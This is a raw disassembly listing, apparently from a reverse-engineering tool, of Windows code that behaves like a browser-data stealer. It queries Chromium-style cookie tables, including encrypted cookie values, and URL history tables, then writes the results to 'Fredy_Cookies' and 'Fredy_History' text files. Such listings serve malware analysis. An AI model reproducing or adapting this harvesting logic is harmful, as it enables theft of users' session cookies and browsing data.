movzx ebx, al
lea rcx, [rsp + 0xf90]
call fcn.1400067f0
test bl, bl
je 0x14002aea2
lea rdx, str.92_70_114_101_100_121_95_67_111_111_107_105_101_115
lea rcx, [rsp + 0xf70]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xf70]
lea rcx, [rsp + 0x1440]
call fcn.140026ec0
nop
mov r8, rax
lea rdx, [rsp + 0x2d30]
lea rcx, [rsp + 0x2ca8]
call fcn.1400545f0
nop
lea rcx, [rsp + 0x1440]
call fcn.140049640
nop
lea rcx, [rsp + 0xf70]
call fcn.140049640
lea rdx, [rsp + 0x2ca8]
lea rcx, [rsp + 0xf50]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0xf50]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0xf50]
call fcn.1400067f0
test bl, bl
je 0x14002a406
lea rdx, [rsp + 0x2ca8]
lea rcx, [rsp + 0xf30]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0xf30]
call fcn.14000a110
nop
lea rcx, [rsp + 0xf30]
call fcn.1400067f0
lea rdx, [rsp + 0x2ca8]
lea rcx, [rsp + 0xe70]
call fcn.14005e2b0
nop
lea rdx, [rsp + 0x2ed8]
lea rcx, [rsp + 0xe90]
call fcn.14005e2b0
nop
lea rdx, [rsp + 0xe70]
lea rcx, [rsp + 0xe90]
call fcn.140009fd0
movzx ebx, al
lea rcx, [rsp + 0xe90]
call fcn.1400067f0
nop
lea rcx, [rsp + 0xe70]
call fcn.1400067f0
test bl, bl
je 0x14002ae94
lea rcx, [rsp + 0x2ca8]
call fcn.140049370
mov rcx, rax
lea rdx, [rsp + 0x2738]
call fcn.140183550
mov rcx, qword [rsp + 0x2738]
test eax, eax
je 0x14002a652
call fcn.1401813e0
nop
lea rcx, [rsp + 0x2ca8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ed8]
call fcn.140049640
nop
lea rcx, [rsp + 0x3110]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x36e0]
call fcn.140041710
nop
lea rcx, [rsp + 0x2d30]
call fcn.140049640
nop
lea rcx, [rsp + 0x29c0]
call fcn.1400457b0
nop
lea rcx, [rsp + 0x2988]
call fcn.140045c30
nop
lea rcx, [rsp + 0x2ab8]
call fcn.140049640
nop
lea rcx, [rsp + 0x3130]
call fcn.140010e70
nop
lea rcx, [rsp + 0x29d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2918]
call fcn.140045a90
nop
lea rcx, [rsp + 0x34b0]
call fcn.140013570
nop
lea rcx, [rsp + 0x2a78]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b18]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a38]
call fcn.140049640
nop
lea rcx, [rsp + 0x2af8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ad8]
call fcn.140049640
nop
lea rcx, [rsp + 0x28d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2968]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x31a0]
call fcn.140041710
nop
lea rcx, [rsp + 0x28f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b38]
call fcn.140049640
nop
lea rdx, [rsp + 0x28b8]
lea rcx, [rsp + 0x28b8]
call fcn.140061550
nop
lea rdx, [rsp + 0x28a8]
lea rcx, [rsp + 0x28a8]
call fcn.140061550
nop
lea rcx, [rsp + 0x2928]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b88]
call fcn.140049640
nop
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x28c8]
call fcn.140061550
jmp 0x14002f217
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x2710]
mov r8d, 0xffffffff
lea rdx, str.SELECT_host_key__name__path__expires_utc__encrypted_value___is_secure___is_httponly_FROM_cookies
call fcn.1401843e0
test eax, eax
je 0x14002a83c
mov rcx, qword [rsp + 0x2738]
call fcn.1401813e0
nop
lea rcx, [rsp + 0x2ca8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ed8]
call fcn.140049640
nop
lea rcx, [rsp + 0x3110]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x36e0]
call fcn.140041710
nop
lea rcx, [rsp + 0x2d30]
call fcn.140049640
nop
lea rcx, [rsp + 0x29c0]
call fcn.1400457b0
nop
lea rcx, [rsp + 0x2988]
call fcn.140045c30
nop
lea rcx, [rsp + 0x2ab8]
call fcn.140049640
nop
lea rcx, [rsp + 0x3130]
call fcn.140010e70
nop
lea rcx, [rsp + 0x29d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2918]
call fcn.140045a90
nop
lea rcx, [rsp + 0x34b0]
call fcn.140013570
nop
lea rcx, [rsp + 0x2a78]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b18]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a38]
call fcn.140049640
nop
lea rcx, [rsp + 0x2af8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ad8]
call fcn.140049640
nop
lea rcx, [rsp + 0x28d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2968]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x31a0]
call fcn.140041710
nop
lea rcx, [rsp + 0x28f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b38]
call fcn.140049640
nop
lea rdx, [rsp + 0x28b8]
lea rcx, [rsp + 0x28b8]
call fcn.140061550
nop
lea rdx, [rsp + 0x28a8]
lea rcx, [rsp + 0x28a8]
call fcn.140061550
nop
lea rcx, [rsp + 0x2928]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b88]
call fcn.140049640
nop
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x28c8]
call fcn.140061550
jmp 0x14002f217
xor r14d, r14d
mov rcx, qword [rsp + 0x2710]
call fcn.140185040
cmp eax, 0x64
jne 0x14002ae06
xor edx, edx
mov rcx, qword [rsp + 0x2710]
call fcn.140185630
mov r15, rax
mov edx, 1
mov rcx, qword [rsp + 0x2710]
call fcn.140185630
mov rbx, rax
mov qword [rsp + 0x60], rax
mov edx, 2
mov rcx, qword [rsp + 0x2710]
call fcn.140185630
mov r12, rax
mov edx, 3
mov rcx, qword [rsp + 0x2710]
call fcn.140185630
mov r13, rax
mov edx, 4
mov rcx, qword [rsp + 0x2710]
call fcn.140185630
mov rdi, rax
mov edx, 5
mov rcx, qword [rsp + 0x2710]
call fcn.140185630
mov rsi, rax
mov edx, 6
mov rcx, qword [rsp + 0x2710]
call fcn.140185630
mov r14, rax
test r15, r15
je 0x14002a839
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp byte [r15 + rcx], 0
jne 0x14002a900
test rcx, rcx
je 0x14002a839
test rbx, rbx
je 0x14002a839
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x14002a923
test rax, rax
je 0x14002a839
test r12, r12
je 0x14002a839
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r12 + rax], 0
jne 0x14002a945
test rax, rax
je 0x14002a839
test r13, r13
je 0x14002a839
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rax + r13], 0
jne 0x14002a970
test rax, rax
je 0x14002a839
test rdi, rdi
je 0x14002a839
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdi + rax], 0
jne 0x14002a993
test rax, rax
je 0x14002a839
test rsi, rsi
je 0x14002a839
test r14, r14
je 0x14002a839
mov r8, qword [rsp + 0x2990]
mov rdx, qword [rsp + 0x2988]
lea rcx, [rsp + 0x1a80]
call fcn.14005e970
mov rbx, rax
mov rdx, rdi
lea rcx, [rsp + 0xe50]
call fcn.1400122d0
nop
mov r9, rbx
lea r8, [rsp + 0xe50]
lea rdx, [rsp + 0x3340]
call fcn.14002f3b0
nop
lea rcx, [rsp + 0xe50]
call fcn.140049640
nop
lea rcx, [rsp + 0x1a80]
call fcn.140049640
cmp byte [rsi], 0x31
jne 0x14002aa2b
cmp byte [rsi + 1], 0
jne 0x14002aa2b
xor eax, eax
jmp 0x14002aa30
sbb eax, eax
or eax, 1
lea rdx, [0x1402f9018]
test eax, eax
lea rdi, [0x1402f9020]
cmovne rdx, rdi
lea rcx, [rsp + 0x32c0]
call fcn.1400122d0
nop
cmp byte [r14], 0x31
jne 0x14002aa67
cmp byte [r14 + 1], 0
jne 0x14002aa67
xor r14d, r14d
mov eax, r14d
jmp 0x14002aa6f
sbb eax, eax
or eax, 1
xor r14d, r14d
lea rdx, [0x1402f9018]
test eax, eax
cmovne rdx, rdi
lea rcx, [rsp + 0x32a0]
call fcn.1400122d0
nop
lea rdx, str.92_67_111_111_107_105_101_115
lea rcx, [rsp + 0xe30]
call fcn.140025de0
nop
lea rdx, [rsp + 0xe30]
lea rcx, [rsp + 0x2f90]
call fcn.140023cc0
nop
lea rcx, [rsp + 0xe30]
call fcn.1400067f0
lea rdx, [rsp + 0x488]
lea rcx, [rsp + 0x2f90]
call fcn.140049440
mov rbx, qword [rax]
lea rdx, [rsp + 0x4f0]
lea rcx, [rsp + 0x2f90]
call fcn.140025dc0
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rsp + 0x1a60]
call fcn.14005d8e0
nop
mov r8, rax
lea rdx, [0x140361710]
lea rcx, [rsp + 0x2d80]
call fcn.140055e90
nop
lea rcx, [rsp + 0x1a60]
call fcn.1400067f0
lea rdx, [rsp + 0x2d80]
lea rcx, [rsp + 0xe10]
call fcn.1400548a0
nop
lea rcx, [rsp + 0xe10]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0xe10]
call fcn.1400067f0
test bl, bl
jne 0x14002ab90
lea rdx, [rsp + 0x2d80]
lea rcx, [rsp + 0xdf0]
call fcn.1400548a0
nop
lea rcx, [rsp + 0xdf0]
call fcn.14000a350
nop
lea rcx, [rsp + 0xdf0]
call fcn.1400067f0
lea rcx, [rsp + 0x2eb8]
call fcn.140049040
nop
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
lea r8, [0x1402f6138]
lea rdx, [rsp + 0x2d80]
test al, al
je 0x14002ac3d
lea rcx, [rsp + 0x1a00]
call fcn.140055d00
nop
lea r8, [rsp + 0x2968]
mov rdx, rax
lea rcx, [rsp + 0x1a20]
call fcn.140055f00
nop
lea r8, str._Default.txt
mov rdx, rax
lea rcx, [rsp + 0x1a40]
call fcn.140055e20
mov rdx, rax
lea rcx, [rsp + 0x2eb8]
call fcn.140048fa0
lea rcx, [rsp + 0x1a40]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1a20]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1a00]
jmp 0x14002acfc
lea rcx, [rsp + 0x1960]
call fcn.140055d00
nop
lea r8, [rsp + 0x2968]
mov rdx, rax
lea rcx, [rsp + 0x1980]
call fcn.140055f00
nop
lea r8, [0x1402f9094]
mov rdx, rax
lea rcx, [rsp + 0x19a0]
call fcn.140055e20
nop
lea r8, [rsp + 0x3110]
mov rdx, rax
lea rcx, [rsp + 0x19c0]
call fcn.140055f00
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0x19e0]
call fcn.140055e20
mov rdx, rax
lea rcx, [rsp + 0x2eb8]
call fcn.140048fa0
lea rcx, [rsp + 0x19e0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x19c0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x19a0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1980]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1960]
call fcn.1400067f0
lea rcx, [rsp + 0x4020]
call fcn.140032140
mov r8d, 8
lea rdx, [rsp + 0x2eb8]
lea rcx, [rsp + 0x4020]
call fcn.140041270
nop
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
test al, al
je 0x14002aee2
lea rdx, str.68_101_102_97_117_108_116
lea rcx, [rsp + 0xdd0]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xdd0]
lea rcx, [rsp + 0x1940]
call fcn.140026ec0
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call fcn.140057990
movzx ebx, al
lea rcx, [rsp + 0x1940]
call fcn.140049640
nop
lea rcx, [rsp + 0xdd0]
call fcn.140049640
test bl, bl
jne 0x14002aee2
lea rcx, [rsp + 0x4020]
call fcn.1400320a0
nop
lea rcx, [rsp + 0x2eb8]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2d80]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2f90]
call fcn.140049640
nop
lea rcx, [rsp + 0x32a0]
call fcn.140049640
nop
lea rcx, [rsp + 0x32c0]
call fcn.140049640
nop
lea rcx, [rsp + 0x3340]
call fcn.140049640
nop
mov rcx, qword [rsp + 0x2710]
call fcn.140167240
mov rcx, qword [rsp + 0x2738]
call fcn.1401813e0
lea rdx, [rsp + 0x2ca8]
lea rcx, [rsp + 0xdb0]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0xdb0]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0xdb0]
call fcn.1400067f0
test bl, bl
je 0x14002ae88
lea rdx, [rsp + 0x2ca8]
lea rcx, [rsp + 0xd90]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0xd90]
call fcn.14000a110
nop
lea rcx, [rsp + 0xd90]
call fcn.1400067f0
lea r13, [0x1402f8dcc]
mov rdi, qword [rsp + 0x48]
lea rcx, [rsp + 0x2ca8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ed8]
call fcn.140049640
nop
lea rcx, [rsp + 0x3110]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x36e0]
call fcn.140041710
nop
lea rcx, [rsp + 0x2d30]
call fcn.140049640
add rdi, 0x20
jmp 0x14002a073
mov rdx, r15
lea rcx, [rsp + 0x4020]
call fcn.140056430
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.140056430
lea rdx, [rsp + 0x32c0]
mov rcx, rax
call fcn.140056410
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.140056430
mov rdx, r12
mov rcx, rax
call fcn.140056430
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.140056430
lea rdx, [rsp + 0x32a0]
mov rcx, rax
call fcn.140056410
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.140056430
mov rdx, r13
mov rcx, rax
call fcn.140056430
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.140056430
mov rdx, qword [rsp + 0x60]
mov rcx, rax
call fcn.140056430
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.140056430
lea rdx, [rsp + 0x3340]
mov rcx, rax
call fcn.140056410
mov rcx, rax
call fcn.14005d2f0
lea rcx, [rsp + 0x4020]
call fcn.1400411d0
nop
lea rcx, [rsp + 0x4020]
call fcn.1400320a0
nop
lea rcx, [rsp + 0x2eb8]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2d80]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2f90]
call fcn.140049640
nop
lea rcx, [rsp + 0x32a0]
call fcn.140049640
nop
lea rcx, [rsp + 0x32c0]
call fcn.140049640
nop
lea rcx, [rsp + 0x3340]
call fcn.140049640
nop
jmp 0x14002a83c
mov r12, qword [rsp + 0x29c0]
mov rax, qword [rsp + 0x29c8]
mov qword [rsp + 0x60], rax
mov r13d, dword [rsp + 0x40]
lea rsi, str.Xa_
lea rdi, [0x1402f8dcc]
mov qword [rsp + 0x28a0], r12
cmp r12, qword [rsp + 0x60]
je 0x14002c882
mov r15, r12
mov qword [rsp + 0x48], r12
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x3380], xmm0
movups xmmword [rsp + 0x3390], xmm0
movups xmmword [rsp + 0x33a0], xmm0
movups xmmword [rsp + 0x33b0], xmm0
movups xmmword [rsp + 0x33c0], xmm0
movups xmmword [rsp + 0x33d0], xmm0
movups xmmword [rsp + 0x33e0], xmm0
mov qword [rsp + 0x33f0], rax
lea rcx, [rsp + 0x3380]
call fcn.140041800
nop
mov r8, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x14002b0ce
mov r8, qword [r12]
mov r9, qword [r12 + 0x10]
add r9, r8
lea rdx, [rsp + 0x2c40]
lea rcx, [rsp + 0x3380]
call fcn.14004d670
bts r13d, 0x17
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x28e8]
sub rax, rcx
cmp rax, 1
jb 0x14002f249
lea r9, [rsp + 0x28d8]
cmp qword [rsp + 0x28f0], 0xf
cmova r9, qword [rsp + 0x28d8]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x28d8]
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x290]
call fcn.14006c6e0
bts r13d, 0x18
mov rdx, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x14002b16a
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
lea rcx, [rsp + 0x290]
call fcn.140049480
xorps xmm0, xmm0
movups xmmword [rsp + 0x2ba8], xmm0
mov qword [rsp + 0x2bb8], r14
mov qword [rsp + 0x2bc0], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x2ba8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x2bb8], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r13d, 0x19
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 0xf
jbe 0x14002b205
inc rdx
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b200
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f278
call fcn.140260e60
mov qword [rsp + 0x2a0], r14
mov qword [rsp + 0x2a8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x290], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x2a98], xmm0
mov qword [rsp + 0x2aa8], r14
mov qword [rsp + 0x2ab0], 0xf
mov byte [rsp + 0x2a98], 0
movups xmmword [rsp + 0x2a18], xmm0
mov qword [rsp + 0x2a28], r14
mov qword [rsp + 0x2a30], 0xf
mov byte [rsp + 0x2a18], 0
lea rdx, [rsp + 0x2928]
cmp qword [rsp + 0x2940], 0xf
cmova rdx, qword [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
cmp qword [rsp + 0x2910], 0xf
cmova rcx, qword [rsp + 0x28f8]
mov r8, qword [rsp + 0x2908]
cmp r8, qword [rsp + 0x2938]
jne 0x14002b3bb
call fcn.1402a1d20
test eax, eax
jne 0x14002b3bb
lea rdx, [0x1402f90a0]
lea rcx, [rsp + 0xd70]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xd70]
lea rcx, [rsp + 0x1900]
call fcn.140026ec0
nop
mov r8, rax
lea rdx, [rsp + 0x28d8]
lea rcx, [rsp + 0x1920]
call fcn.1400545f0
mov rdx, rax
lea rcx, [rsp + 0x2a98]
call fcn.1400496a0
lea rcx, [rsp + 0x1920]
call fcn.140049640
nop
lea rcx, [rsp + 0x1900]
call fcn.140049640
nop
lea rcx, [rsp + 0xd70]
call fcn.140049640
lea rdx, str.92_70_114_101_100_121_95_72_105_115_116_111_114_121
lea rcx, [rsp + 0xd30]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xd30]
lea rcx, [rsp + 0x18c0]
call fcn.140026ec0
nop
mov r8, rax
lea rdx, [rsp + 0x28d8]
lea rcx, [rsp + 0x18e0]
call fcn.1400545f0
mov rdx, rax
lea rcx, [rsp + 0x2a18]
call fcn.1400496a0
lea rcx, [rsp + 0x18e0]
call fcn.140049640
nop
lea rcx, [rsp + 0x18c0]
call fcn.140049640
nop
lea rcx, [rsp + 0xd30]
jmp 0x14002b4ae
lea rdx, [0x1402f90a0]
lea rcx, [rsp + 0xd10]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xd10]
lea rcx, [rsp + 0x1880]
call fcn.140026ec0
nop
mov r8, rax
lea rdx, [rsp + 0x2ba8]
lea rcx, [rsp + 0x18a0]
call fcn.1400545f0
mov rdx, rax
lea rcx, [rsp + 0x2a98]
call fcn.1400496a0
lea rcx, [rsp + 0x18a0]
call fcn.140049640
nop
lea rcx, [rsp + 0x1880]
call fcn.140049640
nop
lea rcx, [rsp + 0xd10]
call fcn.140049640
lea rdx, str.92_70_114_101_100_121_95_72_105_115_116_111_114_121
lea rcx, [rsp + 0xcd0]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xcd0]
lea rcx, [rsp + 0x1840]
call fcn.140026ec0
nop
mov r8, rax
lea rdx, [rsp + 0x2ba8]
lea rcx, [rsp + 0x1860]
call fcn.1400545f0
mov rdx, rax
lea rcx, [rsp + 0x2a18]
call fcn.1400496a0
lea rcx, [rsp + 0x1860]
call fcn.140049640
nop
lea rcx, [rsp + 0x1840]
call fcn.140049640
nop
lea rcx, [rsp + 0xcd0]
call fcn.140049640
lea rax, [rsp + 0x2a98]
cmp qword [rsp + 0x2ab0], 0xf
cmova rax, qword [rsp + 0x2a98]
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x2aa8]
mov qword [rsp + 0x358], rax
call fcn.140241b54
movaps xmm0, xmmword [rsp + 0x350]
movdqa xmmword [rsp + 0x2890], xmm0
lea r8, [rsp + 0x2890]
mov edx, eax
lea rcx, [rsp + 0x220]
call fcn.140005880
or r13d, 0x600000
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x44], r13d
mov r8d, 3
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x1060]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rsp + 0x3d0], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x320], ecx
mov qword [rsp + 0x328], rsi
movaps xmm0, xmmword [rsp + 0x320]
movdqa xmmword [rsp + 0x2890], xmm0
mov eax, dword [rsp + 0x3d0]
test eax, eax
je 0x14002b5d4
mov dword [rsp + 0x2890], r14d
mov qword [rsp + 0x2898], rsi
cmp eax, 1
setne bl
mov rdx, qword [rsp + 0x238]
cmp rdx, 7
jbe 0x14002b5e5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b5e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f24f
jmp 0x14002b5e0
xor bl, bl
test ecx, ecx
jne 0x14002f255
jmp 0x14002b58f
call fcn.140260e60
mov qword [rsp + 0x230], r14
mov qword [rsp + 0x238], 7
mov word [rsp + 0x220], r14w
test bl, bl
je 0x14002c609
lea rdx, [rsp + 0x2a18]
lea rcx, [rsp + 0xcb0]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0xcb0]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0xcb0]
call fcn.1400067f0
test bl, bl
je 0x14002b672
lea rdx, [rsp + 0x2a18]
lea rcx, [rsp + 0xc90]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0xc90]
call fcn.14000a110
nop
lea rcx, [rsp + 0xc90]
call fcn.1400067f0
lea rdx, [rsp + 0x2a18]
lea rcx, [rsp + 0xaf0]
call fcn.14005e2b0
nop
lea rdx, [rsp + 0x2a98]
lea rcx, [rsp + 0xc70]
call fcn.14005e2b0
nop
lea rdx, [rsp + 0xaf0]
lea rcx, [rsp + 0xc70]
call fcn.140009fd0
movzx ebx, al
lea rcx, [rsp + 0xc70]
call fcn.1400067f0
nop
lea rcx, [rsp + 0xaf0]
call fcn.1400067f0
test bl, bl
je 0x14002c609
lea rcx, [rsp + 0x2a18]
call fcn.140049370
mov rcx, rax
lea rdx, [rsp + 0x2718]
call fcn.140183550
mov rcx, qword [rsp + 0x2718]
test eax, eax
je 0x14002b8be
call fcn.1401813e0
nop
lea rcx, [rsp + 0x2a18]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a98]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ba8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2c40]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x3380]
call fcn.140041710
nop
lea rcx, [rsp + 0x29c0]
call fcn.1400457b0
nop
lea rcx, [rsp + 0x2988]
call fcn.140045c30
nop
lea rcx, [rsp + 0x2ab8]
call fcn.140049640
nop
lea rcx, [rsp + 0x3130]
call fcn.140010e70
nop
lea rcx, [rsp + 0x29d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2918]
call fcn.140045a90
nop
lea rcx, [rsp + 0x34b0]
call fcn.140013570
nop
lea rcx, [rsp + 0x2a78]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b18]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a38]
call fcn.140049640
nop
lea rcx, [rsp + 0x2af8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ad8]
call fcn.140049640
nop
lea rcx, [rsp + 0x28d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2968]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x31a0]
call fcn.140041710
nop
lea rcx, [rsp + 0x28f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b38]
call fcn.140049640
nop
lea rdx, [rsp + 0x28b8]
lea rcx, [rsp + 0x28b8]
call fcn.140061550
nop
lea rdx, [rsp + 0x28a8]
lea rcx, [rsp + 0x28a8]
call fcn.140061550
nop
lea rcx, [rsp + 0x2928]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b88]
call fcn.140049640
nop
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x28c8]
call fcn.140061550
jmp 0x14002f217
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x2708]
mov r8d, 0xffffffff
lea rdx, str.SELECT_url___title__visit_count_FROM_urls
call fcn.1401843e0
test eax, eax
je 0x14002baa8
mov rcx, qword [rsp + 0x2718]
call fcn.1401813e0
nop
lea rcx, [rsp + 0x2a18]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a98]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ba8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2c40]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x3380]
call fcn.140041710
nop
lea rcx, [rsp + 0x29c0]
call fcn.1400457b0
nop
lea rcx, [rsp + 0x2988]
call fcn.140045c30
nop
lea rcx, [rsp + 0x2ab8]
call fcn.140049640
nop
lea rcx, [rsp + 0x3130]
call fcn.140010e70
nop
lea rcx, [rsp + 0x29d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2918]
call fcn.140045a90
nop
lea rcx, [rsp + 0x34b0]
call fcn.140013570
nop
lea rcx, [rsp + 0x2a78]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b18]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a38]
call fcn.140049640
nop
lea rcx, [rsp + 0x2af8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ad8]
call fcn.140049640
nop
lea rcx, [rsp + 0x28d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2968]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x31a0]
call fcn.140041710
nop
lea rcx, [rsp + 0x28f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b38]
call fcn.140049640
nop
lea rdx, [rsp + 0x28b8]
lea rcx, [rsp + 0x28b8]
call fcn.140061550
nop
lea rdx, [rsp + 0x28a8]
lea rcx, [rsp + 0x28a8]
call fcn.140061550
nop
lea rcx, [rsp + 0x2928]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b88]
call fcn.140049640
nop
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x28c8]
call fcn.140061550
jmp 0x14002f217
xor r14d, r14d
mov rcx, qword [rsp + 0x2708]
call fcn.140185040
cmp eax, 0x64
jne 0x14002be98
xor edx, edx
mov rcx, qword [rsp + 0x2708]
call fcn.140185630
mov rdi, rax
mov edx, 1
mov rcx, qword [rsp + 0x2708]
call fcn.140185630
mov rsi, rax
mov edx, 2
mov rcx, qword [rsp + 0x2708]
call fcn.140185630
mov r14, rax
test rdi, rdi
je 0x14002baa5
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rdi + rcx], 0
jne 0x14002bb06
test rcx, rcx
je 0x14002baa5
test rsi, rsi
je 0x14002baa5
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rsi + rax], 0
jne 0x14002bb20
test rax, rax
je 0x14002baa5
lea rdx, str.92_72_105_115_116_111_114_121
lea rcx, [rsp + 0xad0]
call fcn.140025de0
nop
lea rdx, [rsp + 0xad0]
lea rcx, [rsp + 0x30f0]
call fcn.140023cc0
nop
lea rcx, [rsp + 0xad0]
call fcn.1400067f0
lea rdx, [rsp + 0x400]
lea rcx, [rsp + 0x30f0]
call fcn.140049440
mov rbx, qword [rax]
lea rdx, [rsp + 0x4b0]
lea rcx, [rsp + 0x30f0]
call fcn.140025dc0
mov r8, rbx
mov rdx, qword [rax]
